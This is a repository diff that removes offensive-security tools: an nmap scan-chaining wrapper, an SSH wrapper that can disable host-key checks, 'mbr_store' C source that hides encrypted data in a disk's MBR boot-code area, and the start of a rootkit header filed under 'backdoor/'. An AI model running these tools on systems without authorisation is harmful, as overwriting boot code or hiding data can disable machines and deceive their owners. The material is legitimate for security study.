OPTIONS:
SCANNING - USER MODE:
EOF
while IFS=';' read -r wnmap_arg mode_name nmap_args _;do
[[ ${wnmap_arg} = \#* ]] || [[ -z ${wnmap_arg} ]] && continue
printf " %s: '%s' scan - nmap args: %s\n" "$wnmap_arg" "$mode_name" "$nmap_args"
done < "${MODE_FILE}"
cat <<EOF
SCANNING - STANDARD MODE:
-C: chain all modes
LOAD NEW SCAN:
-a {wnmap_arg;mode_name;nmap_args;need_sudo?[true,false]}: add new scan to user mode
MISC:
-r: rescan host by default
-e: edit ${MODE_FILE##*/}
-v: print version of wnmap and exit
-h: print this help and exit
EXAMPLES:
${APP_NAME} -F 8.8.8.8 -r # scan again
${APP_NAME} -C scanme.nmap.org # give it all you got
${APP_NAME} -a "-I;iddle-scan;-P0 -p- -sI sweet.host.com;true"
${APP_NAME} -e # edit modes
EOF
exit "${SUCCESS}"
}
# EOF
automation/wnmap/source/src/core/wmodes.conf
-8
View File
@@ -1,8 +0,0 @@
# SAMPLE FILE !!! DEFINE YOUR OWN MAGIC !!!
# wnmap_arg; mode_name; nmap_args; sudo?
-F;fast;-F;false
-K;ack;-PA;false
-V;version;-sV -version-trace;false
-O;os;-O --osscan-guess;true
-M;script_malware;-script malware;false
automation/wnmap/source/src/core/wnmap
-90
View File
@@ -1,90 +0,0 @@
#!/usr/bin/env bash
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# wnmap #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# !!! CHANGE THIS !!!
WNMAP_PATH="/path_to/wnmap"
# source in files
source_files()
{
. "${WNMAP_PATH}/src/core/globals.sh"
. "${WNMAP_PATH}/src/core/wnmap.conf"
. "${WNMAP_PATH}/src/core/checks.sh"
. "${WNMAP_PATH}/src/core/getopt.sh"
. "${WNMAP_PATH}/src/core/error.sh"
. "${WNMAP_PATH}/src/core/help.sh"
. "${WNMAP_PATH}/src/modules/scan.sh"
. "${WNMAP_PATH}/src/modules/add_scan.sh"
return "${SUCCESS}"
}
# controller and program flow
main()
{
# check if WNMAP_PATH is set correctly
if [ ! -d "${WNMAP_PATH}" ]
then
printf "%s\n" "[-] ERROR: adjust 'WNMAP_PATH' in src/core/wnmap first"
exit 31337
fi
source_files
check_soft
check_argc ${*}
get_opts ${*}
check_args ${*}
case "${opt_mode}" in
"add_scan")
add_scan ${*}
;;
"user_scan")
scan "${nmap_args}" "${d_scan}" "${target}"
;;
"chain_scan")
while read -r; do
[[ "${REPLY:0:1}" == "#" ]] || [ -z "${REPLY}" ] && continue
mode="${REPLY:0:2}"
"${WNMAP_PATH}/${APP_NAME}" "${mode}" "${target}" "${REDO+-r}"
done < "${MODE_FILE}"
;;
"edit")
"${EDITOR}" "${MODE_FILE}"
;;
*)
usage
esac
return "${SUCCESS}"
}
# program start
main ${*}
# EOF
automation/wnmap/source/src/core/wnmap.conf
-31
View File
@@ -1,31 +0,0 @@
#!/usr/bin/env bash
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - nmap wrapper #
# #
# FILE #
# wnmap.conf #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# Nmap modular wrapper for scan automation #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
#!!! TUNE THIS !!! This will be present in every scan
DEFAULT_NMAP_ARGS="--reason"
# editor used for edit MODE_FILE
EDITOR="vim"
# EOF
automation/wnmap/source/src/modules/add_scan.sh
-45
View File
@@ -1,45 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# add_scan.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
add_scan() {
new_line=${*:2}
wnmap_mode=${2:0:2}
banner
# dont duplicate wnmap_modes!
find_arg=$(awk -F";" -v J=1 -v R="${wnmap_mode}" '{if (match($J, R)) print $0;}' "${MODE_FILE}")
if [ -n "$find_arg" ]; then
err "You fail. ${find_arg:0:2} opt already exist."
exit "${FAILURE}"
else
printf "%s\n" "${new_line}" >> "${MODE_FILE}"
printf "[+] New mode added!\n"
exit "${SUCCESS}"
fi
}
# EOF
automation/wnmap/source/src/modules/scan.sh
-70
View File
@@ -1,70 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# scan.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
check_exist() {
if [ -f "${d_scan}/${f_scan_xml}" ] || [ -f "${d_scan}/${f_scan_nmap}" ]; then
[[ -n "${REDO}" ]] && return $(rm -rf "${d_scan}")
#implement ndiff for changes
printf "[*] Server already scanned, redo? [y/N]: "; read a
if [ "$a" != "y" ]; then
printf "\n"
critical "Scan canceled!"
return 1
fi
fi
return 0
}
scan() {
banner
#export scan files
f_nmap_args="-oX $d_scan/$f_scan_xml -oN $d_scan/$f_scan_nmap"
if ! check_exist; then
critical "Scan canceled!"
fi
printf "[+] Creating %s\n" "${d_scan}"
mkdir -p "${d_scan}"
printf "[+] Scanning %s\n" "${target}"
args="${nmap_args} ${DEFAULT_NMAP_ARGS} ${f_nmap_args} ${target}"
if ${sudo}; then
printf "[*] cmd: sudo %s %s\n" "$(which nmap)" "${args}"
sudo $(which nmap) ${args}
else
printf "[*] cmd: %s %s\n" "$(which nmap)" "${args}"
$(which nmap) ${args}
fi
return 0
}
# EOF
automation/wnmap/source/wnmap
-1
View File
@@ -1 +0,0 @@
src/core/wnmap
automation/wssh/source/docs/README
-51
View File
@@ -1,51 +0,0 @@
OPTS
====
$ ./wssh.sh
--==[ wssh by nrz@nullsecurity.net ]==--
Usage: wssh [mode|<opt>] [<overwrite>]
OPTIONS:
-m <mode>: mode/id to machine
-e: edit conf file [/home/user/.wssh/wssh.conf]
-l: list modes
-S <file_upload/dir_upload>: scp to machine
-s <file_download/dir_download: scp from machine
-d <remote_dst>: change file where upload or download file [default:~/]
OVERWRITE:
-u <user>: switch user
-h <host>: switch host
-p <port>: switch port
-c: disable check host fingerprint [default:true]
-x <cmd>: extra commands
MISC:
-V: print version of wssh and exit
-H: print this help and exit
EXAMPLE:
wssh -m b0x -x'-D1234' # socks proxy mode
wssh -m b0x -S file -d '/data/' # upload file to /data
wssh -m b0x -s file # download file from home
wssh -m b0x -p 1337 -S file # use diff port for b0x config uploading file to home
wssh b0x # no shitty args anymore - just fucking show me the shell :)
CONFIGURATION FILE
==================
$ cat ~/.wssh/wssh.conf
# id;ip;port[def:22];user;check_host_fingerprint;extra_opt
vulndev;192.168.1.40;;root;false;-Y
android;192.168.1.8;;nrz;false;-Y
debian64;localhost;2222;root;false;
vpn_www;192.168.1.56;3224;nrz;false;false;-L 8080:localhost:80
EXAMPLE
=======
$ wssh vpn
--==[ wssh by nrz@nullsecurity.net ]==--
[+] ssh(192.168.1.56:3224) -L 8080:localhost:80
vpn_www ~ $
#eof
automation/wssh/source/wssh.sh
-315
View File
@@ -1,315 +0,0 @@
#!/bin/bash
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wssh - ssh lazy wrapper #
# #
# FILE #
# wssh.sh #
# #
# DATE #
# 2015-02-12 #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
MODE_FILE="/home/${USER}/.wssh/wssh.conf"
# dont check fingerprint
DONT_CHECK_HOST='-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
# wssh version
VERSION="wssh v0.1"
# true / false
FALSE="0"
TRUE="1"
# return codes
SUCCESS="1337"
FAILURE="31337"
# verbose mode - default: quiet
VERBOSE="/dev/null"
# colors
WHITE="$(tput bold ; tput setaf 7)"
GREEN="$(tput setaf 2)"
RED="$(tput bold; tput setaf 1)"
YELLOW="$(tput bold ; tput setaf 3)"
NC="$(tput sgr0)" # No Color
rprintf() {
fmt=$1
shift
printf "%s${fmt}%s\n" "${RED}" "$@" "${NC}"
return "${SUCCESS}"
}
wprintf() {
fmt=$1
shift
printf "%s${fmt}%s\n" "${WHITE}" "$@" "${NC}"
return "${SUCCESS}"
}
# print warning
warn()
{
fmt=${1}
shift
printf "%s[!] WARNING: ${fmt}%s\n" "${RED}" "${@}" "${NC}"
return "${SUCCESS}"
}
# print error and exit
err()
{
fmt=${1}
shift
printf "%s[-] ERROR: ${fmt}%s\n" "${RED}" "${@}" "${NC}"
return "${FAILURE}"
}
# print error and exit
cri()
{
fmt=${1}
shift
printf "%s[-] CRITICAL: ${fmt}%s\n" "${RED}" "${@}" "${NC}"
exit "${FAILURE}"
}
# usage and help
usage()
{
cat <<EOF
Usage: wssh [mode|<opt>] [<overwrite>]
OPTIONS:
-m <mode>: mode/id to machine
-e: edit conf file [${MODE_FILE}]
-l: list modes
-S <file_upload/dir_upload>: scp to machine
-s <file_download/dir_download: scp from machine
-d <remote_dst>: change file where upload or download file [default:~/]
OVERWRITE:
-u <user>: switch user
-h <host>: switch host
-p <port>: switch port
-c: disable check host fingerprint [default:true]
-x <cmd>: extra commands
MISC:
-V: print version of wssh and exit
-H: print this help and exit
EXAMPLE:
wssh -m b0x -x'-D1234' # socks proxy mode
wssh -m b0x -S file -d '/data/' # upload file to /data
wssh -m b0x -s file # download file from home
wssh -m b0x -p 1337 -S file # use diff port for b0x config uploading file to home
wssh b0x # no shitty args anymore - just fucking show me the shell :)
EOF
exit "${SUCCESS}"
}
# leet banner, very important
banner()
{
echo "--==[ wssh by nrz@nullsecurity.net ]==--"
return "${SUCCESS}"
}
# check argument count
check_argc()
{
if [ "${#}" -lt 1 ]
then
usage
fi
return "${SUCCESS}"
}
# check if required arguments were selected
check_args()
{
return "${SUCCESS}"
}
# parse command line options
get_opts()
{
while getopts m:elS:s:d:u:h:p:cx:vVH flags
do
case "${flags}" in
m)
MODE=${OPTARG}
;;
e)
vim "${MODE_FILE}"
exit "${SUCCESS}"
;;
l)
cat "${MODE_FILE}"
exit "${SUCCESS}"
;;
S)
SCP=true
UPLOAD="${OPTARG}"
;;
s)
SCP=true
if [ "${OPTARG:0:1}" == "/" ]; then
DOWNLOAD=${OPTARG}
else
DOWNLOAD="~/${OPTARG}"
fi
;;
d)
DOWN_UP_DIR=${OPTARG}
;;
u)
OPT_USER=${OPTARG}
;;
h)
OPT_HOST=${OPTARG}
;;
p)
OPT_PORT=${OPTARG}
;;
c)
OPT_CHECK=true
;;
x)
OPT_EXTRA=${OPTARG}
;;
v)
VERBOSE="/dev/stdout"
;;
V)
echo "${VERSION}"
exit "${SUCCESS}"
;;
H)
usage
;;
*)
err "WTF?! mount /dev/brain"
;;
esac
done
return "${SUCCESS}"
}
set_vars()
{
if [ -n "${MODE}" ]; then
local mode_line=$(awk -v J=1 -v R="${MODE}" '{if (match($J, R)) print $0;}' "${MODE_FILE}")
if [ -n "${mode_line}" ]; then
IFS=';' read -r MODE HOST PORT USER CHECK EXTRA <<< "${mode_line}"
else
cri "mode not found"
fi
fi
# set vars - use config from file if not arguments or just defaults
[ -n "${OPT_USER}" ] && USER=${OPT_USER}
[ -n "${OPT_HOST}" ] && HOST=${OPT_HOST}
[ -n "${OPT_PORT}" ] && PORT=${OPT_PORT}
[ -z "${PORT}" ] && PORT=22
[ -n "${OPT_CHECK}" ] && CHECK=false
[ -n "${OPT_EXTRA}" ] && EXTRA=${OPT_EXTRA}
# scp
DOWNLOAD_DIR="."
UPLOAD_DIR="~/"
[ -n "${DOWN_UP_DIR}" ] && DOWNLOAD_DIR="${DOWN_UP_DIR}/"
[ -n "${DOWN_UP_DIR}" ] && UPLOAD_DIR="${DOWN_UP_DIR}/"
return
}
create_mode_file()
{
mkdir -p /home/${USER}/.wssh
printf "# id;ip;port[def:22];user;check_host_fingerprint;extra_opt\n" >> ${MODE_FILE}
printf "sample;192.168.1.1;4564;nrz;false;-L 8080:localhost:80\n" >> "${MODE_FILE}"
return
}
# controller and program flow
main()
{
# defaults
CHECK=true
SCP=false
#gogogo
banner
#check mode file
! [ -f "${MODE_FILE}" ] && create_mode_file
# ssh(lazy(lazy())) -> $ wssh <mode>
if [ "$#" == "1" ] && ! [ "${1:0:1}" == "-" ]; then
MODE=${1}
else
check_argc ${*}
get_opts ${*}
check_args ${*}
fi
set_vars
if ${SCP}; then
printf "[+] scp(%s:%s) %s\n" "${HOST}" "${PORT}" "${EXTRA}"
else
printf "[+] ssh(%s:%s) %s\n" "${HOST}" "${PORT}" "${EXTRA}"
fi
if ${CHECK}; then
if ${SCP}; then
if [ -n "${UPLOAD}" ]; then
scp -r -P "${PORT}" ${UPLOAD} "${USER}@${HOST}:${UPLOAD_DIR}"
else
scp -r -P "${PORT}" "${USER}@${HOST}:${DOWNLOAD}" "${DOWNLOAD_DIR}"
fi
else
ssh -p "${PORT}" "${USER}@${HOST}" ${EXTRA}
fi
else
if ${SCP}; then
if [ -n "${UPLOAD}" ]; then
scp -r ${DONT_CHECK_HOST} -P "${PORT}" ${UPLOAD} "${USER}@${HOST}:${UPLOAD_DIR}"
else
scp -r ${DONT_CHECK_HOST} -P "${PORT}" "${USER}@${HOST}:${DOWNLOAD}" "${DOWNLOAD_DIR}"
fi
else
ssh ${DONT_CHECK_HOST} -p "${PORT}" "${USER}@${HOST}" ${EXTRA}
fi
fi
return "${SUCCESS}"
}
main ${*}
# EOF
backdoor/mbr_store/source/Makefile
-17
View File
@@ -1,17 +0,0 @@
# mbr_store Makefile
MANDIR = /usr/share/man/man1/
all:
make -C src/
install:
install -m 0755 bin/mbr_store /usr/bin/
install -m 0644 mbr_store.1.gz $(MANDIR)/
uninstall:
rm -f /usr/bin/mbr_store
rm -f $(MANDIR)mbr_store.1.gz
clean:
rm -f bin/mbr_store
backdoor/mbr_store/source/README
-27
View File
@@ -1,27 +0,0 @@
mbr_store README
NAME
mbr_store
INSTALLATION
make
sudo make install
make clean
FIRST STEPS
Get yourself a copy of your own MBR with
dd if=/dev/sdx of=my_mbr.img count=1
or use one of the provided samples in doc/.
Read, store and check your results with your favorite hex editor (e.g. ghex2).
Be careful to not demage your bootloader!
Run fdisk -l or dmesg to determine the correct device ;)
AUTHOR
atzeton <atzeton@lavabit.com>
nullsecurity.net
LICENSE
GNU GPLv2+
BUGS
If you find any bugs, feel free to drop me a line!
backdoor/mbr_store/source/bin/mbr_store
BIN
View File
Binary file not shown.
backdoor/mbr_store/source/doc/mbr_grub.img
BIN
View File
Binary file not shown.
backdoor/mbr_store/source/doc/mbr_win.img
BIN
View File
Binary file not shown.
backdoor/mbr_store/source/include/mbr_store.h
-81
View File
@@ -1,81 +0,0 @@
/*
* mbr_store.h
*
* Copyright 2012 atzeton <atzeton@lavabit.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#ifndef HDR_MBR_STORE
#define HDR_MBR_STORE
#include <nettle/sha.h>
#define VERSION "1.0"
#define __EXIT_SUCCESS exit(EXIT_SUCCESS)
#define __EXIT_FAILURE exit(EXIT_FAILURE)
#define __STORE (mode == MODE_STORE)
#define __READ (mode == MODE_READ)
#define __ENCRYPTED encrypted
#define __RAND (uint8_t) rand() % 255
#define CRC32POLY (0x04C11DB7)
#define GRUB_INDICATION "GRUB"
#define DATA_SIZE (428)
#define BLOCK_SIZE (432)
#define MBR_SIZE (512)
#define MODE_STORE ( 1)
#define MODE_READ ( 2)
uint8_t mode;
char *device;
char *password;
int8_t encrypted;
uint8_t key[SHA256_DIGEST_SIZE];
/* MBR structure */
typedef struct mbr_struct {
uint8_t data[440];
uint32_t disk_sig;
uint16_t nulls;
uint8_t ptable[64];
uint16_t signature;
} __attribute__ ((packed)) mbr_struct;
/* data storage structure */
typedef struct data_header {
uint16_t len;
uint32_t crc;
uint8_t data[DATA_SIZE];
uint8_t payload[8];
} __attribute__ ((packed)) data_header;
int main(int argc, char **argv);
#endif
backdoor/mbr_store/source/include/optget.h
-31
View File
@@ -1,31 +0,0 @@
/*
* optget.h
*
* Copyright 2012 atzeton <atzeton@lavabit.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#ifndef HDR_OPTGET
#define HDR_OPTGET
void optget(int argc, char** argv);
void optcheck();
void usage();
#endif
backdoor/mbr_store/source/mbr_store.1.gz
BIN
View File
Binary file not shown.
backdoor/mbr_store/source/src/Makefile
-14
View File
@@ -1,14 +0,0 @@
# mbr_store src/ Makefile
BINDIR = ../bin/
INCLUDES = -I../include
CFLAGS = -O2 -std=c99 -Wall -Wextra -pedantic
LINKFLAGS = -lnettle
all: mbr_store
mbr_store: mbr_store.c optget.c
$(CC) *.c -o $(BINDIR)mbr_store $(CFLAGS) $(LINKFLAGS) $(INCLUDES)
clean:
rm -f mbr_store
backdoor/mbr_store/source/src/mbr_store.c
-408
View File
@@ -1,408 +0,0 @@
/*
* mbr_store.c
*
* Copyright 2012 atzeton <atzeton@lavabit.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <inttypes.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <time.h>
#include <nettle/aes.h>
#include <nettle/sha.h>
#include <nettle/serpent.h>
#include <nettle/twofish.h>
#include "mbr_store.h"
#include "optget.h"
/* encrypt via hashed key */
void
enlarge_key(char *pw)
{
struct sha256_ctx ctx;
uint8_t digest[SHA256_DIGEST_SIZE];
sha256_init(&ctx);
sha256_update(&ctx, strlen(pw) , (uint8_t *)pw);
sha256_digest(&ctx, SHA256_DIGEST_SIZE, digest);
memcpy(key, digest, SHA256_DIGEST_SIZE);
return;
}
/* crc32 checksum, for interal data integrity check */
uint32_t
crc32(uint8_t *data, uint16_t len)
{
uint32_t crc32 = 0;
uint16_t i = 0;
for (i = 0; i < len; i++)
{
if (((crc32 & 0x80000000) ? 1 : 0) != data[i])
{
crc32 = (crc32 << 1) ^ CRC32POLY;
}
else
{
crc32 <<= 1;
}
}
return( crc32 );
}
void
encrypt(uint8_t *data, uint16_t len)
{
uint8_t *aes1 = calloc(1, len);
uint8_t *serp2 = calloc(1, len);
uint8_t *two3 = calloc(1, len);
struct aes_ctx *ctx_aes = calloc(1, sizeof(struct aes_ctx ));
struct serpent_ctx *ctx_sp = calloc(1, sizeof(struct serpent_ctx));
struct twofish_ctx *ctx_tf = calloc(1, sizeof(struct twofish_ctx));
aes_set_encrypt_key(ctx_aes, sizeof(key), key);
serpent_set_key (ctx_sp, sizeof(key), key);
twofish_set_key (ctx_tf, sizeof(key), key);
aes_encrypt (ctx_aes, len, aes1, data);
serpent_encrypt(ctx_sp, len, serp2, aes1);
twofish_encrypt(ctx_tf, len, two3, serp2);
memcpy(data, two3, len);
free(aes1);
free(serp2);
free(two3);
free(ctx_tf);
free(ctx_sp);
free(ctx_aes);
return;
}
void
decrypt(uint8_t *data, uint16_t len)
{
uint8_t *two1 = calloc(1, len);
uint8_t *serp2 = calloc(1, len);
uint8_t *aes3 = calloc(1, len);
struct twofish_ctx *ctx_tf = calloc(1, sizeof(struct twofish_ctx));
struct serpent_ctx *ctx_sp = calloc(1, sizeof(struct serpent_ctx));
struct aes_ctx *ctx_aes = calloc(1, sizeof(struct aes_ctx));
twofish_set_key (ctx_tf, sizeof(key), key);
serpent_set_key (ctx_sp, sizeof(key), key);
aes_set_decrypt_key(ctx_aes, sizeof(key), key);
twofish_decrypt(ctx_tf, len , two1 , data);
serpent_decrypt(ctx_sp, len , serp2 , two1);
aes_decrypt (ctx_aes, len , aes3 , serp2);
memcpy(data, aes3, len);
free(two1);
free(serp2);
free(aes3);
free(ctx_tf);
free(ctx_sp);
free(ctx_aes);
return;
}
void
data_print(uint8_t *data)
{
data_header *dh = (data_header *) data;
uint16_t len = ntohs(dh->len);
uint16_t i = 0;
printf(" len: %d bytes\n",len);
if( len > DATA_SIZE)
{
fprintf(stderr, "error: data len too big\n");
__EXIT_FAILURE;
}
if( ntohl(dh->crc) != crc32(dh->data, DATA_SIZE) )
{
fprintf(stderr, "warning: CRC32 invalid\n");
}
else
{
printf(" crc32: valid 0x%x\n", ntohl(dh->crc) );
}
printf("\n -- DATA ----------------------------------------\n");
for(i=0; i< len; i++) {
printf("%c",dh->data[i]);
}
printf("\n ------------------------------------------------\n");
return;
}
void
user_readin(uint8_t *data)
{
data_header *dh = (data_header *) data;
char *f = calloc(1, DATA_SIZE);
uint16_t len = 0;
int i = 0;
printf("please enter your data [426 bytes]: ");
if( fgets(f, DATA_SIZE, stdin) == NULL)
{
fprintf(stderr, "error: fgets failed\n");
__EXIT_FAILURE;
}
len = strlen(f);
len--;
dh->len = htons(len);
printf("> saved len: %d\n",len);
memcpy(dh->data, f, len);
for( i=len; i< DATA_SIZE; i++) {
memset(&dh->data[i], __RAND , 1);
}
dh->crc = htonl( crc32(dh->data, DATA_SIZE) );
for( i=0; i< 8; i++) {
memset(&dh->payload[i], __RAND , 1);
}
return;
}
void
mbr_store(int fd, uint8_t *mbr)
{
if( lseek(fd, 0, SEEK_SET) != 0 )
{
fprintf(stderr, "error: lseek failed\n");
__EXIT_FAILURE;
}
if( write(fd, mbr, MBR_SIZE) != MBR_SIZE)
{
fprintf(stderr, "error: writing to device file failed\n");
__EXIT_FAILURE;
}
return;
}
void
mbr_read(int fd, uint8_t *buf)
{
if( read(fd, buf, MBR_SIZE) != MBR_SIZE)
{
fprintf(stderr, "error: reading from device file failed\n");
__EXIT_FAILURE;
}
return;
}
/* check the MBR's 0x55aa signature */
void
mbr_check_signature(mbr_struct *mbr)
{
if( !( ntohs(mbr->signature) == 0x55aa) )
{
fprintf(stderr, "error: MBR structure not valid (reading signature 0x55aa failed)\n");
__EXIT_FAILURE;
}
printf(" signature: valid\n");
return;
}
/* check the nullz */
void
mbr_check_nulls(mbr_struct *mbr)
{
if( !(mbr->nulls == 0x0000) )
{
fprintf(stderr, "error: MBR structure not valid (reading nulls failed)\n");
__EXIT_FAILURE;
}
return;
}
/* search GRUB pattern in bootloader code */
void
mbr_check_grub(uint8_t *data)
{
uint16_t i = 0;
for(i=0; i< 436; i++) {
if( data[i] == 'G' && data[i+1] == 'R' && data[i+2] == 'U' && data[i+3] == 'B')
{
fprintf(stderr, "warning: mbr data contains GRUB\n");
}
}
return;
}
int
device_open(const char *dev)
{
int fd = open(dev , O_RDWR);
if( fd < 0 )
{
fprintf(stderr, "error: opening device file failed\n");
__EXIT_FAILURE;
}
return(fd);
}
void
print_banner()
{
printf(
" _ _ \n"
" _____| |_ ___ ___| |_ ___ ___ ___ \n"
" | | . | _| |_ -| _| . | _| -_|\n"
" |_|_|_|___|_| |___|_| |___|_| |___|\n"
" atzeton |\n"
" nullsecurity.net |\n"
" use it at your own risk |\n"
" version %3s |\n"
"\n", VERSION);
return;
}
int main(int argc, char **argv)
{
uint8_t *buf = calloc(1, MBR_SIZE);
mbr_struct *mbr = (mbr_struct *) buf;
int fd = 0;
srand ( time(NULL) );
optget(argc, argv);
optcheck();
print_banner();
fd = device_open(device);
if( __ENCRYPTED )
{
printf("> encryption enabled: aes(serpent(twofish()))\n");
printf("> using hashed password: sha256(password)\n");
enlarge_key(password);
}
else
{
printf("> encryption disabled. Data is stored in plaintext!\n");
}
printf("> reading device\n");
mbr_read(fd, buf);
printf("> checking for present GRUB on device\n");
mbr_check_grub(mbr->data);
mbr_check_signature(mbr);
mbr_check_nulls(mbr);
printf(" nulls: valid\n");
printf(" ms_disk_id: %04x\n",mbr->disk_sig);
if( __READ )
{
if( __ENCRYPTED )
{
decrypt(mbr->data, 432);
}
data_print(mbr->data);
}
else if ( __STORE )
{
user_readin(mbr->data);
if( __ENCRYPTED )
{
encrypt(mbr->data, 432);
}
mbr_store(fd, buf);
}
else {
fprintf(stderr, "error: nothing to do xD\n");
}
mbr = NULL;
free(buf);
close(fd);
return 0;
}
backdoor/mbr_store/source/src/optget.c
-125
View File
@@ -1,125 +0,0 @@
/*
* optget.c
*
* Copyright 2012 atzeton <atzeton@lavabit.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*
*
*/
#include <stdio.h>
#include <inttypes.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include "optget.h"
#include "mbr_store.h"
void
optget(int argc, char** argv)
{
int32_t index = -1;
int32_t result = 0;
struct option *opt = NULL;
static const struct option long_options[] = {
{ "help", no_argument, 0, 0 },
{ "read", no_argument, 0, 0 },
{ "store", no_argument, 0, 0 },
{ "password", required_argument, 0, 0 },
{ "device", required_argument, 0, 0 },
{0,0,0,0}
};
while (optind < argc) {
result = getopt_long(argc, argv, "", long_options, &index);
if (result != 0) {
fprintf(stderr,"getopt failed\n");
__EXIT_FAILURE;
}
else if( result == 0) {
opt = (struct option *)&(long_options[index]);
if( strcmp(opt->name,"help") == 0) {
usage();
__EXIT_SUCCESS;
}
if( strcmp(opt->name,"read") == 0) {
mode = MODE_READ;
}
if( strcmp(opt->name,"store") == 0) {
mode = MODE_STORE;
}
else if( strcmp(opt->name,"password") == 0 ) {
if( opt->has_arg == required_argument ) {
encrypted = 1;
password = optarg;
}
}
else if( strcmp(opt->name,"device") == 0 ) {
if( opt->has_arg == required_argument ) {
device = optarg;
}
}
}
}
return;
}
void
optcheck()
{
if (!device)
{
fprintf(stderr,"error: no device or file given\n");
__EXIT_FAILURE;
}
if( !password)
{
encrypted = 0;
}
return;
}
void
usage()
{
printf("usage:\n"
"./mbr_store [--store|--read|--help] [--password=<password>] [--device=<device/file>]\n\n"
"--help\n"
"\tshow help\n"
"--store\n"
"\tsave data in the MBR's bootloader code section\n"
"--read\n"
"\tread data, watch out to to give the correct password if required\n"
"--password=<pw>\n"
"\tenable aes(serpent(twofish())) encryption using <pw>'s sha256 hash\n"
"--device=<device/file>\n"
"\tspecify the device (e.g. /dev/sdd) or file (e.g. mbr_image)\n\n"
"> for more detailed information take a look at the man file\n");
return;
}
backdoor/rubilyn/source/internals.h
-434
View File
@@ -1,434 +0,0 @@
/*
internals.h
rubilyn
*/
#ifndef rubilyn_internals_h
#define rubilyn_internals_h
/* includes */
#include <mach/mach_types.h>
#include <libkern/libkern.h>
#include <sys/appleapiopts.h>
#include <sys/cdefs.h>
#include <sys/systm.h>
#include <sys/attr.h>
#include <sys/dirent.h>
#include <sys/sysctl.h>
